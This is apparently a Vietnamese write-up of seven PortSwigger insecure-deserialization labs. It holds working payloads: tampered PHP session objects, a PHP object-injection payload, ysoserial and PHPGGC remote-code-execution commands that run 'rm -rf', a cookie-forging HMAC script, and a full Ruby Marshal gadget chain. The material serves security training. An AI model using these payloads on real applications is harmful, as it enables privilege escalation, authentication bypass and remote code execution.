Contents

PortSwigger - Insecure Deserialization

Thông thường cấu trúc của Serialize Data có dạng: O: strlen(object name): object name: object size: {... elements...}

1. Modifying serialized objects

Description

This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete Carlos’s account. You can log in to your own account using the5 following credentials: wiener:peter

Exploitaion

Challenge này yêu cầu ta thay đổi thuộc tính trên serialized objects để leo quyền lên admin.

Đăng nhập bằng tài khoản wiener:peter.

https://github.com/g03m0n/pics/assets/130943529/b827b507-fc03-40fd-9620-d5248f64884e

Ta thấy session cookie là một object User sau khi được serialized và base64-encode. Để ý object User này có thuộc tính admin hiện có giá trị boolean 0 tức là false.

https://github.com/g03m0n/pics/assets/130943529/72f406e2-3918-498a-84eb-9466d06b5330

Vì user này không phải admin → không vào được trang /admin. => Ta thử thay đổi giá trị boolean ở serialized session cookie thành 1

https://github.com/g03m0n/pics/assets/130943529/f4eb53d9-1855-4dcd-87a6-62d7674763c0

End-code base64

https://github.com/g03m0n/pics/assets/130943529/8fea54f4-595a-4769-81d5-41da3b5272fe

Edit cookie của trang web và load lại trang:

https://github.com/g03m0n/pics/assets/130943529/f6b87996-c330-4a0f-986e-8cd2b7f83a67

=> User đã đăng nhập được vào trang /admin Tiến hành xóa user Carlos.

https://github.com/g03m0n/pics/assets/130943529/3b5478dc-c6b6-4420-9e8f-56885b17e8ca

Solved

https://github.com/g03m0n/pics/assets/130943529/30d3a1c7-1226-481a-a906-e21a3d26f373

2. Modifying serialized data types

Description

This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete Carlos. You can log in to your own account using the following credentials: wiener:peter

Exploitaion

Tương tự lab 1, session cookie cũng được serialize từ User object

https://github.com/g03m0n/pics/assets/130943529/91c5f55b-8f0b-4c2c-9abd-244f07d19240

Lần này ứng dụng authenticate user thông qua thuộc tính access_token là chuỗi kí tự dài 32 kí tự.

O: 4: "User": 2: {s: 8: "username"; s: 6: "wiener"; s: 12: "access_token";s: 32: "t2blplwd06k5lr3coyxnjzy7ne355ge5";}

Tuy nhiên, theo mô tả có thể ứng dụng này sử dụng PHP loose comparison bởi operator == để authenticate như sau:

$user = unserialize($_SESSION)
if ($user['access_token'] == $access_token) {
// Authenticate successfully
}

Như vậy ta sẽ bypass bằng cách chỉnh access_token về số nguyên 0 → bypass được == vì 0 == string sẽ trả về true. Serialized object sau khi chỉnh như sau:

O: 4: "User": 2: {s: 8: "username"; s: 6: "wiener"; s: 12: "access_token";i: 0;}

Endcode base64 và edit cookie

https://github.com/g03m0n/pics/assets/130943529/9dd2adc8-a887-4379-a46d-9e4a9841de4b

Đăng nhập vào admin panel thành công và tiến hành xóa user Carlos.

https://github.com/g03m0n/pics/assets/130943529/0d52a502-8ec8-437e-a515-4da0f02760fc

Solved

https://github.com/g03m0n/pics/assets/130943529/7326216d-7d53-453c-aa7c-a83128e978ae

3. Using application functionality to exploit insecure deserialization

Description

This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter You also have access to a backup account: gregg:rosebud

Exploitaion

Tương tự 2 labs trên, Session Cookie cũng được serialize từ User object

https://github.com/g03m0n/pics/assets/130943529/40fa58ea-bf6b-43cf-ad63-1b6b456b63c5

Lần này ứng dụng có thêm thuộc tính avatar_link. Mà ứng dụng này có chức năng Delete account => Khi ấn vào nút Delete account thì ứng dụng sẽ xóa cả avatar của người dùng.

Nếu ta thay đổi đường dẫn tại thuộc tính avatar_link thành 1 file bất kì trong hệ thống thì file đó sẽ bị delete khỏi hệ thống khi Delete account.

Chỉnh sửa avatar_link thành /home/carlos/morale.txt để tiến hành xóa file.

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bqp5e5wpdhhaz3rt0knb1u6uowozl5se";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Endcode base64 và Edit cookie.

https://github.com/g03m0n/pics/assets/130943529/0b5cfcbc-4f23-427f-9815-5c4f695648bc

https://github.com/g03m0n/pics/assets/130943529/8d0f0295-13ff-4615-8116-963e7e76e512

Load lại trang và Solved.

https://github.com/g03m0n/pics/assets/130943529/9b72bd5c-a9ff-4756-a3d1-4ef4bca00242

4. Arbitrary object injection in PHP

Description

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos’s home directory. You will need to obtain source code access to solve this lab. You can log in to your own account using the following credentials: wiener:peter

Exploitaion

Tương tự 3 labs trên, Session Cookie cũng được serialize từ User object

Khi ấn vào view-source ta thấy một đường dẫn:

https://github.com/g03m0n/pics/assets/130943529/e87aaa74-531c-4b77-89c2-165ad430b3da

Kiểm tra thử đường dẫn xem có đọc được source code không:

https://github.com/g03m0n/pics/assets/130943529/508df3db-1b63-4c04-9e29-1f6b1d8a5ae3

Không có gì phản hồi. Ta thử thêm dấu ~ vào cuối đường dẫn, ta xem được mã nguồn file /libs/CustomTemplate.php.

Mã nguồn file /libs/CustomTemplate.php:

<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);                    
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

Một class CustomTemplate được định nghĩa với 2 thuộc tính template_file_pathlock_file_path. Ta chỉ cần quan tâm magic method __destruct() khi nó thực hiện xóa file tại lock_file_path, nếu nó tồn tại. Mặt khác __destruct() sẽ được gọi khi server thực hiện deserialize.

=> Ta có thể tận dụng session cookie để thực hiện Object Injection như sau:

O: 14: "CustomTemplate": 1: {s: 14: "lock_file_path"; s: 23: "/home/carlos/morale.txt";}

Endcode base64 và edit cookie:

https://github.com/g03m0n/pics/assets/130943529/7040aead-3257-47fa-af8b-e2a11028485d

https://github.com/g03m0n/pics/assets/130943529/8a24c0ce-2379-4cc6-b205-93adb3111cc8

Solved

https://github.com/g03m0n/pics/assets/130943529/3c35aba8-0c6c-48ce-9c34-cebdf83f5463

5. Exploiting Java deserialization with Apache Commons

Description

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don’t have source code access, you can still exploit this lab using pre-built gadget chains. To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter

Exploitation

Cookie của ứng dụng là một Java serialize Object

https://hackmd.io/_uploads/r1Qycj7kR.png

Ở lab này, ta sẽ tạo gadget chain bằng ứng dụng có tên là ysoserial để khai thác.

Đầu tiên, vì ứng dụng sử dụng thư viện Apache Commons Collections nên ta sẽ sử dụng gadget chain có tên là CommonsCollections1,…, CommonsCollections4 để sinh ra payload. Sau vài lần thử, ta có thể dụng được gadgetCommonsCollections4.

Payload:

java \
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED\
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED\
 --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED\
 -jar ./ysoserial-all.jar CommonsCollections4 "rm -rf /home/carlos/morale.txt" 2> nul | base64 -w0 

https://hackmd.io/_uploads/HyBnRs7JA.png

Sử dụng payload vừa tạo và send request

https://hackmd.io/_uploads/rkHAenQ1C.png

Ứng dụng có mã lỗi 500 nhưng ta vẫn solve được challange.

https://hackmd.io/_uploads/r1lbbnmyR.png

6. Exploiting PHP deserialization with a pre-built gadget chain

Description

This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains. To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter

Exploitation

Bài này tương tự bài trên nhưng sử dụng ngôn ngữ PHP. Tool ta sẽ sử dụng cho bài này có tên là PHPGCC

Cookie là một PHP serialize Object. Trong đó, trường sig_hmac_sha1 chính là signature để verify User object tại trường token có bị thay đổi hay không.

https://hackmd.io/_uploads/SkEcdhmk0.png

Khi ta nhập session sai và gửi request, server trả về thông báo lỗi signature sai và thư viện sử dụng:

https://hackmd.io/_uploads/BkUCF3QkA.png

Ở đây ứng dụng sử dụng thư viện Symphony version 4.3.6 Tiến hành tạo payload bằng PHPGGC tool.

https://hackmd.io/_uploads/SyvOqnQ1C.png

Payload:

php ./phpggc Symfony/RCE4 system 'rm -rf /home/carlos/morale.txt' 2> null | base64 -w0 > cookie.txt

https://hackmd.io/_uploads/B1xWjnXJC.png

Vì server sử dụng signature key để verify user nên ta cần SECRET_KEY để hoàn thành payload.

Đọc source html của ứng dụng có một đường dẫn debug:

https://hackmd.io/_uploads/Skq_s2Qk0.png

Truy cập đường dẫn ta tìm được SECRET_KEY

https://hackmd.io/_uploads/r14e3hQ1R.png

Sử dụng script này để sign SECRET_KEY với payload generated:

<?php
$payload = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo2OiJzeXN0ZW0iO319Cg==";
$secret = "hwo9dc4j2ef2vmehy8o01n6m6owbbz6b";
$sig_hmac_sha1 = hash_hmac("sha1", $payload, $secret);

$cookie = urlencode('{"token":"'.$payload.'","sig_hmac_sha1":"'.$sig_hmac_sha1.'"}');
print_r($cookie);
?>

https://hackmd.io/_uploads/B1cn2h7y0.png

Ứng dụng thông báo lỗi nhưng ta vẫn solve được challenge.

https://hackmd.io/_uploads/rkilThmkA.png

Solved

https://hackmd.io/_uploads/HkO0n2XyR.png

7. Exploiting Ruby deserialization using a documented gadget chain

Description

This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework. To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter

Exploitation

Session cookie là một Ruby deserialize Object

https://hackmd.io/_uploads/H17GrT7kC.png

Ở lab này, ta sẽ sử dụng script của một blog viết về Universal Deserialisation Gadget for Ruby 2.x-3.x .

Script có nội dung như sau:

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm -rf /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

require "base64"
puts Base64.encode64(payload)

https://hackmd.io/_uploads/H1rQDaQyA.png

Thay cookie và gửi request

https://hackmd.io/_uploads/rkBOwTmk0.png

Ứng dụng thông báo lỗi nhưng ta vẫn solve được challenge.

https://hackmd.io/_uploads/rJV9DTXJR.png